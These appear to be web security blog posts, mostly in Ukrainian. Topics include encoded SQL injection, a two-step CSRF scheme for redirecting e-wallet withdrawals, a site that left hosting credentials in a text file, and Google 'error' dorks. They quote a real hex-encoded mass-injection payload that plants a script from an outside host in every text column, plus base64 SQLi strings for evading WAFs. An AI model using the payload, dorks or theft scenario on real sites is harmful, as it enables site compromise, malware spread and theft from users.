Websecurity - Веб безпека

Продовжуючи розпочату традицію, після попереднього відео про безпеку веб шлюзу, пропоную нове відео на веб секюріті тематику. Цього разу відео про eксплоіт для Microsoft Internet Explorer. Рекомендую подивитися всім хто цікавиться цією темою.

Metasploit Internet Explorer CSS Tags

В відео показаний процес атаки на користувачів IE через пошкодження пам’яті в бібліотеці mshtml.dll. Дана уразливість стосується Internet Explorer 6, 7 і 8. Для створення експлотіа використовується Metasploit Framework. Рекомендую подивитися дане відео для розуміння векторів атак на браузер Internet Explorer.

This is English version of my Encoded SQL Injection vulnerabilities article.

In article Advanced methods of SQL Smuggling, I mentioned about Encoded SQL Injection - new class of SQL Injection, which I found in 2009. I.e. this is subclass of SQL Injection vulnerabilities. And now I’ll tell you about it in detail.

Last year, 17.05.2009, I found SQLi vulnerability which I related to new type of SQL Injection - Encoded SQL Injection. About Encrypted XSS (Encoded XSS) I already mentioned many times, and in this article I’d tell about Encoded SQLi. In classification of SQL Injection vulnerabilities (in 2008) I gave two types of SQLi - Reflected SQL Injection and Persistent SQL Injection. So Encoded SQL Injection will be third type.

These vulnerabilities allow to bypass protection systems - as built-in in web application protection filters, as installed at the server IDS, IPS and WAF systems. Therefore I related this type of SQL Injection vulnerabilities to advanced methods of SQL Smuggling.

Types of Encoded SQL Injection.

There are next types of Encoded SQL Injection:

• Partly encoded SQLi.
• Completely encoded SQLi.

If first type still can be revealed by some protection systems (if they set on appropriate operators of SQL language), then second type will not be entirely revealed by current protections systems. Besides those systems which support decoding of this encoding method.

Partly encoded SQLi.

In case of partly encoded SQL Injection, data which is sending to DBMS is encoding only partly. It’s when only some part of SQL code is encoded (e.g. via CAST). Encoding of strings for bypassing of quotes filtration is not relating to this.

As in case mentioned in the post Encoded SQL Injection, when this type of SQLi is using for attack on one site (at that on usual SQLi vulnerability):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Completely encoded SQLi.

In case of completely encoded SQL Injection, data which is sending to DBMS is encoding completely. So the whole SQL query is encoded (at interface level) and only at web application level it is decoding for sending to DBMS. Particularly in variant of encoded SQL Injection, which I found last year, base64 encoding is using.

When web application is using base64-stings for sending of values to web application, it can be used for conducting of Encoded SQLi attacks.

For example, string ‘ or 1=1# will become JyBvciAxPTEj. And string ‘ and 1=’1 will become JyBhbmQgMT0nMQ==.

And at level of external protection systems, which don’t support decoding of data which is sending to web application, these and other encoded strings will not cause any suspicions. So installed at the server IDS, IPS and WAF systems will can’t reveal these attack (and it’ll be hard to reveal them in the logs). And these attacks will pass successfully bypassing of protection systems.

В своїй презентації The Critical Need to Secure the Web in Your Company, Osterman Research розповідає про критичну необхідність захистити Веб в вашій компанії. Про сучасні ризики, що існуєть в Інтернеті, та про захист від них.

Продовжуючи розпочату традицію, після попереднього відео про основи веб безпеки, пропоную нове відео на веб секюріті тематику. Цього разу відео про безпеку веб шлюзу. Рекомендую подивитися всім хто цікавиться цією темою.

Web Gateway Security

В відео розповідається про надання послуги безпеки веб шлюзу з використанням хмарних (cloud) технологій, зокрема на прикладі Trend Micro Smart Protection Network. Секюріті продукт Secure Web Gateway від Trend Micro використовує дану хмарну технологію і має численні переваги над традиційними рішеннями. Про подібні хмарні продукти від Google та Zscaler я вже писав раніше.

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

Існують такі логічні уразливості як Business Logic, що дозволяють маніпулювати фінансовими даними у веб дадатках. І мені неодноразо доводилося знаходити подібні уразливості, починаючи ще з уразливості на clx.ru, що я виявив в 2005 році.

Враховуючи, що Business Logic дірки - це логічні уразливості, то вони відносяться Abuse of Functionality (WASC-42). Атака відбувається при спеціальному використуванні функціоналу сайта (веб додатка), що не очікувався його розробниками.

Але окрім “серверних” Business Logic уразливостей, існують ще “клієнтські”, які мені також доводилося зустрічати (зокрема нещадовно виявив подібні під час секюріті аудиту). І приклади подібних дірок на різних сайтах я з часом оприлюдню. Суть таких атак зводиться до проведення CSRF атаки на користувача з метою маніпуляції його фінансами.

Прикладом подібної уразливості, з якою я стикався неодноразово, є маніпуляція з виведенням коштів на електронні гаманці. Тобто відбувається зловживання функціоналом виводу коштів з аккаунта користувача.

При наявності Cross-Site Request Forgery (WASC-09) на сайті, сценарій атаки буде наступним:

1. Провести CSRF-атаку на користувача, щоб змінити його гаманець (наприклад, WebMoney) на гаманець нападника.

2. Провести другу CSRF-атаку на користувача, щоб ініціювати виведення коштів (на заданий в аккаунті гаманець).

За звичай необхідні два кроки атаки (два CSRF запити), тому що процес зміни гаманця і виведення коштів розбитий на окремі функціонали. Якщо на вразливому сайті ці дві операції об’єднані в один фунціонал, то можна послати один CSRF запит - для виведення коштів на вказаний гаманець.

Для даних задач також можна використовувати і XSS уразливості. В тому числі при наявності на сайті захисту від CSRF, можна через XSS обійти захист від CSRF атак. Але якщо від XSS власники сайтів ще іноді захищаються, то від CSRF захищаються набагато рідше. До того ж, від CSRF атак не захистить жоден WAF . Тому CSRF атаки буде досить для виведення коштів з рахунку користувача.

Продовжуючи розпочату традицію, після попереднього відео про DoS атаки на сервер, пропоную нове відео на веб секюріті тематику. Цього разу відео про основи веб безпеки. Рекомендую подивитися всім хто цікавиться цією темою.

website security basics

В відео розповідається про основи безпеки веб сайтів. Про необхідність слідкувати за безпекою навіть невеликих сайтів. Тому що в наш час цілями хакерів є не тільки державні сайти чи сайти банків, а будь-які веб ресурси, в тому числі невеликі сайти. Які можуть використовуватися для різноманітних зловмисних цілей, зокрема і для проведення атак на більш крупні й важливі сайти.

Рекомендую подивитися дане відео для розуміння необхідності слідкувати за безпекою власних сайтів.

Одним з найбільш критичних витоків інформації є витоки паролів. Коли на сайті розміщується в тестовому вигляді інформація про логіни і паролі - до адмінки сайта чи хостінга, до FTP чи до MySQL або іншої СУБД. За звичай подібна інформація розміщується у txt-файлі. І при цьому власник сайта думає, що ніхто цього файла не знайде .

З подібніми витоками інформації мені доводилося стикатися неодноразово. І про один такий випадок, що я виявив нещодавно, я зараз розповім.

Як можна побачити на сайті airbrush.atmosphereart.com.ua - на сайті в “непримітному” файлі p.txt розміщені логіни та паролі доступу до адмінки хостінга, FTP та MySQL. І доступ до файлу не захищений паролем, як це варто було зробити, якщо вже адмін вирішив розмістити таку важливу інформацію в Інтернеті.

Таких витоків інформації (Information Leakage) не варто допускати. Зазначу, що наведена в файлі інформація є застарілою і жоден з цих паролей не працює. Але тим не менше, логіни цілком могли залишитися тими самими. І тому нападники можуть скористатися цими логінами, щоб підібрати до них паролі. Тому не варто робити витоків навіть застарілої інформації (зокрема про логіни і паролі), бо деяка частина інформації може бути все ще актуальною.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Shoulder surfing (computer security)
• SMS spoofing
• Stack buffer overflow
• Symlink race
• Threat (computer)

Продовжуючи розпочату традицію, після попереднього відео про захмарну веб безпеку, пропоную нове відео на веб секюріті тематику. Цього разу відео про DoS атаки на сервер. Рекомендую подивитися всім хто цікавиться цією темою.

Server Attack programs

В відео розповідається про різні програми для проведення DoS та DDoS атак на сервери (в тому числі веб сервери в Інтернеті). Серед різних додатків, зокрема розповідається про такий потужний інструмент як ping . Рекомендую подивитися дане відео для розуміння векторів DoS атак на сервери.

Окрім “Warning” Google хакінга існують інші види запитів, по яким можна шукати дірки на веб сайтах. Зокрема “Error” Google хакінг, про який я вже давно запланував написати. Це ще один різновид Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information leakage уразливості на різноманітних сайтах в Інтернеті.

Зокрема можна використовувати наступні “еррор” пошукові запити:

“Software error” “htdocs”

“Software error” “home”

“Software error” “www”

“Software error” “program files”

“Software error” “apache”

“MySQL Fatal Error”

“MySQL Error”

“You have an error in your SQL syntax”

“Application error” “SQL syntax”

“Application error” “htdocs”